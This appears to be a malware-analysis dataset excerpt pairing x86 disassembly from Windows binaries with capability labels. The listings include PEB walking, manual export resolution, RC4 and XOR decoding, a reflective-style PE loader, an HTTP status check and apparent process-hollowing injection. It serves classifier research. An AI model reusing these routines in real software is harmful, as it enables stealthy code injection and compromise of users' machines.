joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100d7d1f
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], 0
mov dword [0x10145e8c], 0xb
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [0x10145e8c]
add edx, 0xffffd9ce
mov dword [0x10145e90], edx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10145e8c], 0x15bd
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x100d7dd4
mov eax, dword [ebp - 0x14]
add esp, 0x30
pop ebp
ret
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x100d7e54
jmp 0x100d7ea2
mov eax, dword [ebp - 0x1c]
mov dword [0x10145e8c], 0x10c9
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
je 0x100d7e18
jmp 0x100d7ea2
mov dword [0x10145e8c], 0xe97
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x100d7e7d
jmp 0x100d7ea2
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
je 0x100d7d91
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
setl cl
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x25], cl
mov al, byte [ebp - 0x25]
test al, 1
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], edx
jne 0x100d7dd4
jmp 0x100d7d91
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff4
shl eax, 1
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp word [eax], 0x6f
jne 0x100d7ea2
mov dword [0x10145e90], 0x80e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x100d7d79
jmp 0x100d7ea2
mov dword [0x10145e90], 0x8e7
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff7
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x30]
cmp word [eax + ecx*2], 0x64
je 0x100d7db2
jmp 0x100d7ea2
mov eax, 1
mov dword [0x10145e90], 0x113b
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x14], eax
je 0x100d7d71
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x100d7d71
Function at 0x100d7eac
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov dword [0x10145e8c], 0x234d
call fcn.10001087
mov dword [esp + 0x2c], eax
xor eax, eax
mov ecx, dword [esp + 0x2c]
cmp ecx, 0
mov dword [esp + 0x28], eax
je 0x100d7fa1
jmp 0x100d803d
mov eax, dword [esp + 0x24]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
je 0x100d7f82
jmp 0x100d7fcb
lea eax, [esp + 0x30]
mov dword [esp], eax
call fcn.100d8216
lea ecx, [0x100d7cbf]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x94], edx
mov edx, dword [0x10145e8c]
add edx, 0xdd
mov dword [0x10145e90], edx
mov dword [esp + 0x78], 0x133400
mov edx, dword [0x10145e78]
mov dword [esp + 0x58], edx
mov edx, dword [0x10145e7c]
mov dword [esp + 0x74], edx
mov edx, dword [0x10145e80]
mov dword [esp + 0x8c], edx
mov edx, dword [0x10145e84]
mov dword [esp + 0x50], edx
mov edx, dword [0x10145e88]
mov dword [esp + 0x64], edx
mov dword [0x10145e8c], 0xffffe6c3
mov dword [esp + 0x1c], eax
mov dword [esp + 0x24], ecx
jmp 0x100d7ee7
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x18]
cmp dword [eax], 0x4550
je 0x100d7fea
jmp 0x100d7fcb
lea eax, [esp + 0x40]
mov dword [0x10145e8c], 0x1e2a
mov dword [esp + 0x10], eax
call fcn.100d7d1f
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
je 0x100d7eff
jmp 0x100d8035
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov dword [esp + 0x24], eax
jmp 0x100d7ee7
lea eax, [esp + 0x40]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x48], ecx
mov edx, dword [esp + 0x14]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x90], esi
mov esi, dword [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.100d87ea
mov ecx, esp
lea edx, [esp + 0x40]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x10145e8c], 0x239d
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x100d84fe
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x5c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.100d8bc4
mov dword [ebp - 0x14], eax
xor eax, eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
mov esi, dword [edx + 0x3c]
mov edi, ecx
add edi, esi
mov esi, dword [edx + esi]
cmp esi, 0x4550
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edi
je 0x100d853e
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x10145e90], 0x1657
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov dword [0x10145e8c], 0x91
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x100d858e
jmp 0x100d8622
mov al, byte [ebp - 0x31]
test al, 1
jne 0x100d8599
jmp 0x100d8650
mov eax, dword [ebp - 0x30]
add esp, 0x5c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x10145e8c], 0x1802
mov dword [ebp - 0x30], edi
jmp 0x100d858e
mov eax, dword [ebp - 0x3c]
add eax, 1
mov cl, byte [ebp - 0x3d]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x31]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x45], ch
mov al, byte [ebp - 0x45]
test al, 1
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x4c], ecx
jne 0x100d85f3
jmp 0x100d8582
mov eax, dword [ebp - 0x4c]
mov ecx, eax
mov edx, dword [ebp - 0x50]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x3d], bh
mov byte [ebp - 0x31], cl
je 0x100d8582
jmp 0x100d85be
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edx
jmp 0x100d85f3
mov eax, dword [ebp - 0x38]
add eax, 2
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov edx, dword [ebp - 0x2c]
cmp ecx, edx
setb bl
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], ecx
mov byte [ebp - 0x65], bl
xor eax, eax
mov cl, byte [ebp - 0x65]
test cl, 1
mov edx, dword [ebp - 0x60]
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x58], esi
jne 0x100d8634
jmp 0x100d858e
Function at 0x100d87ea
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x10145e90], 0x15d4
mov dword [0x10145e8c], 0x407
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x100d887b
lea eax, [ebp - 0x20]
mov dword [0x10145e90], 0x161a
mov dword [ebp - 0x30], eax
call fcn.100d8eac
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.100d8a52
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x100d8873
jmp 0x100d88a7
mov eax, dword [ebp - 0x3c]
add eax, 0x1d2a
mov dword [0x10145e90], 0xffffe86e
mov dword [0x10145e8c], 0x443
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x38], eax
jmp 0x100d8873
mov eax, dword [ebp - 0x38]
add esp, 0x50
pop ebp
ret
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + 0x100db5e6]
mov dl, byte [eax + 0x100db5b7]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
je 0x100d8817
jmp 0x100d887b
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.100d8076
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x48], ecx
mov dword [0x10145e8c], 0xeda
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x100d8873
jmp 0x100d884c
Function at 0x100d8d0c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x10145e90]
add edi, 0xfffffc50
mov dword [0x10145e8c], edi
mov dword [0x10145e98], 0
mov byte [0x10145e9c], 0
mov dword [0x10145e90], 0x1e29
mov dword [0x10145e94], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10145e90]
mov esi, eax
add esi, 0xffffe676
mov dword [0x10145e8c], esi
mov esi, dword [0x10145e94]
add esi, 1
mov dword [0x10145e94], esi
cmp esi, 0x100
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], esi
jl 0x100d8d63
jmp 0x100d8e63
mov eax, dword [ebp - 0x24]
mov ecx, 0x100
mov dword [0x10145ea0], 0
mov edx, dword [0x10145e98]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x28], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x10145ea0], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x10145e98], edx
mov dword [0x10145e8c], 0x13cc
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x28]
mov cl, byte [ecx + edi]
mov byte [0x10145e9c], cl
mov dword [0x10145e8c], 0x1ae6
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x10145e9c]
mov edx, dword [0x10145e98]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x10145e90]
add edx, 0xffffe7b0
mov dword [0x10145e8c], edx
mov edx, dword [0x10145e94]
add edx, 1
mov dword [0x10145e94], edx
cmp edx, 0x100
mov dword [ebp - 0x24], edx
jl 0x100d8da8
jmp 0x100d8e86
xor eax, eax
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffff1df
mov dword [0x10145e8c], ecx
mov dword [0x10145e94], 0
mov dword [ebp - 0x24], eax
jmp 0x100d8da8
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100d90af
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x10145e94], 0
mov dword [0x10145e98], 0
mov dword [0x10145ea4], 0
mov dword [0x10145e8c], 0x127b
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
xor eax, eax
mov ecx, dword [ebp - 0x10]
cmp ecx, 0
mov edx, eax
mov esi, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
je 0x100d91fe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add edx, 1
mov edi, ecx
add edi, 1
mov dword [ebp - 0x2c], eax
mov eax, edx
cdq
idiv esi
mov dword [0x10145e94], edx
mov ebx, dword [ebp - 0x1c]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x2c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x10145e98], edx
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x10145e9c], cl
mov ebx, dword [ebp - 0x1c]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x10145e9c]
mov edx, dword [0x10145e98]
mov byte [ebx + edx], cl
mov edx, dword [0x10145e94]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x10145e98]
movzx ecx, byte [ebx + ecx]
add ecx, edx
mov dword [0x10145e8c], 0x114e
and ecx, 0xff
mov dword [0x10145ea4], ecx
mov dword [0x10145e90], 0x2fb
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x30]
mov dl, byte [edx + esi]
xor dl, byte [ebx + ecx]
mov ecx, dword [ebp - 0x18]
mov byte [ecx + esi], dl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x38], edi
je 0x100d91fe
mov eax, dword [0x10145e94]
mov ecx, dword [0x10145e98]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x28], edx
jmp 0x100d9116
mov dword [0x10145e90], 0x163b
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x37f209d
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push edi
push eax
nop
nop
nop
nop
mov eax, dword fs:[0x30]
nop
nop
nop
nop
mov dword [ebp - 4], eax
nop
nop
pop eax
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0xc]
add esi, 0x14
mov edi, dword [esi]
jmp 0x37f20db
push dword [ebp + 8]
push dword [edi + 0x28]
call dword [0x381f094]
test eax, eax
je 0x37f20e5
mov edi, dword [edi]
cmp edi, esi
jne 0x37f20c9
xor al, al
pop edi
pop esi
leave
ret
mov al, 1
jmp 0x37f20e1
Function at 0x37f53d9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebx + 1]
push eax
push 0
call dword [0x381f058]
push eax
call dword [0x381f048]
and dword [ebp - 4], 0
mov edi, eax
mov byte [edi + ebx], 0
test ebx, ebx
je 0x37f5437
mov eax, dword [ebp + 8]
sub eax, edi
mov dword [ebp - 8], eax
push esi
mov esi, dword [ebp - 4]
push dword [ebp + 0xc]
add esi, edi
call dword [0x381f0a4]
mov ecx, eax
mov eax, dword [ebp - 4]
xor edx, edx
div ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov al, byte [edx + eax]
xor al, byte [ecx + esi]
inc dword [ebp - 4]
mov byte [esi], al
cmp dword [ebp - 4], ebx
jb 0x37f5409
pop esi
mov eax, edi
pop edi
leave
ret

Function at 0x37f562f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x382c078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x33323130
mov dword [ebp - 0xc], 0x37363534
mov word [ebp - 8], 0x3938
mov byte [ebp - 6], 0
mov ecx, edi
mov eax, esi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
inc ecx
test eax, eax
jne 0x37f565f
mov byte [ecx], al
pop ebx
mov eax, esi
xor edx, edx
push 0xa
pop esi
div esi
dec ecx
mov dl, byte [ebp + edx - 0x10]
mov esi, eax
mov byte [ecx], dl
test esi, esi
jne 0x37f566d
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, edi
pop esi
call fcn.0380d6b4
leave
ret
Function at 0x37f7555
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0x382c078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
sub esp, 0xc
mov dword [ebp - 0x8d8], eax
lea eax, [ebp + 0xc]
mov esi, esp
call fcn.0380133c
lea eax, [ebp - 0x980]
push eax
call fcn.037f56a7
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x944]
rep movsd dword es:[edi], dword [esi]
push 0x38259d6
lea esi, [ebp - 0x8f8]
call fcn.0380130a
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [ebp + 0x18]
call dword [0x3ad8ee4]
push dword [0x3ad8bac]
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x940]
xor esi, esi
call dword [0x3ad8fc0]
test eax, eax
jne 0x37f75dc
inc esi
cmp dword [ebp - 0x8dc], ebx
je 0x37f7760
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x92c]
push dword [ebp - 0x934]
push dword [ebp - 0x8dc]
call dword [0x3ad8fe4]
mov dword [ebp - 0x8e8], eax
cmp eax, ebx
je 0x37f7754
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x3ad89f8]
push dword [ebp - 0x918]
push 0x382693c
push dword [ebp - 0x8e8]
call dword [0x3ad9024]
mov edi, eax
mov dword [ebp - 0x8e0], edi
cmp edi, ebx
je 0x37f7748
cmp esi, ebx
je 0x37f7675
or dword [ebp - 0x8ec], 0x10300
push 4
lea eax, [ebp - 0x8ec]
push eax
push 0x1f
push edi
call dword [0x3ad8ddc]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x3ad8fac]
push ebx
mov esi, eax
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x13
push edi
mov dword [ebp - 0x8fc], 0x100
call dword [0x3ad903c]
test eax, eax
jne 0x37f76bd
push 0x3826940
mov esi, dword [ebp - 0x8d8]
call fcn.0380130a
jmp 0x37f7771
lea edx, [ebp - 0x104]
call fcn.03802920
cmp eax, 0xc8
jne 0x37f779d
cmp esi, ebx
je 0x37f773c
mov edi, 0x7cf
jmp 0x37f771d
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x37f773c
mov byte [ebp + eax - 0x8d4], bl
lea eax, [ebp - 0x8d4]
push eax
lea esi, [ebp - 0x908]
lea eax, [ebp - 0x8f8]
call fcn.0380142c
lea esi, [ebp - 0x8f8]
call fcn.038013b0
mov eax, dword [ebp - 0x908]
call fcn.037f3510
lea eax, [ebp - 0x8e4]
push eax
push edi
lea eax, [ebp - 0x8d4]
push eax
push dword [ebp - 0x8e0]
call dword [0x3ad8f0c]
test eax, eax
jne 0x37f76de
push dword [ebp - 0x8e0]
call dword [0x3ad8ee0]
push dword [ebp - 0x8e8]
call dword [0x3ad8ee0]
push dword [ebp - 0x8dc]
call dword [0x3ad8ee0]
mov esi, dword [ebp - 0x8d8]
lea eax, [ebp - 0x8f8]
call fcn.0380133c
mov eax, dword [ebp - 0x8f8]
call fcn.037f3510
mov eax, dword [ebp + 0xc]
call fcn.037f3510
mov eax, dword [ebp + 0x18]
call fcn.037f3510
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0380d6b4
leave
ret
push 0x3826948
jmp 0x37f76ad
Function at 0x37f8331
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0x40
push 0
push esi
call fcn.037f88cd
add esp, 0x10
test eax, eax
jne 0x37f8351
xor eax, eax
inc eax
jmp 0x37f83e7
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x37f83e4
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x37f83e4
push dword [ebp + 8]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call fcn.037f88cd
add esp, 0x10
test eax, eax
je 0x37f8349
cmp dword [edi], 0x4550
jne 0x37f83e4
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x37f83e4
movzx eax, word [esi + 0x46]
test ax, ax
je 0x37f83e4
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.0380299b
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x37f83b9
push 3
jmp 0x37f83e6
push dword [ebp + 8]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.037f88cd
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x37f83e7
push 2
pop eax
pop edi
pop ebp
ret
Function at 0x3800440
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x3800506
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.038142b0
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x38255bd
push 0x38256fc
call dword [0x3ad8e90]
test eax, eax
je 0x3800504
push edi
push 0x1000
push edi
push ebx
call dword [0x3ad8f4c]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [0x381f0ac]
test eax, eax
je 0x3800504
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [str._wKE_fS]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [0x381f0b8]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x380050b
push dword [ebp - 0x20]
call dword [0x3ad9000]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [0x381f174]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x3800565
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x380052e
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [0x381f0b0]
push dword [ebp - 0x20]
call dword [0x3ad9000]
mov eax, dword [ebp - 0x1c]
jmp 0x3800506

Function at 0x3808c1c
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret
Function at 0x380ac70
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov ebx, eax
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x380ac9e
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call fcn.038142b0
mov eax, ebx
movzx ecx, word [eax*8 + 0x382515a]
mov dword [esi + 0x6af98], ecx
movzx ecx, word [eax*8 + 0x3825158]
mov dword [esi + 0x6af9c], ecx
movzx ecx, word [eax*8 + 0x382515c]
mov dword [esi + 0x6afa0], ecx
movzx eax, word [eax*8 + 0x382515e]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ebx, 2
jg 0x380ad01
mov eax, dword [ebp + 8]
or word [eax], 4
jmp 0x380ad0d
cmp ebx, 8
jl 0x380ad0d
mov eax, dword [ebp + 8]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
add esp, 0xc
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0x380ad72
cmp eax, 0xffffffff
je 0x380ad72
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x380ad4d
call fcn.0380aec8
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0x380ad55
jmp 0x380ad82
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
pop ebp
ret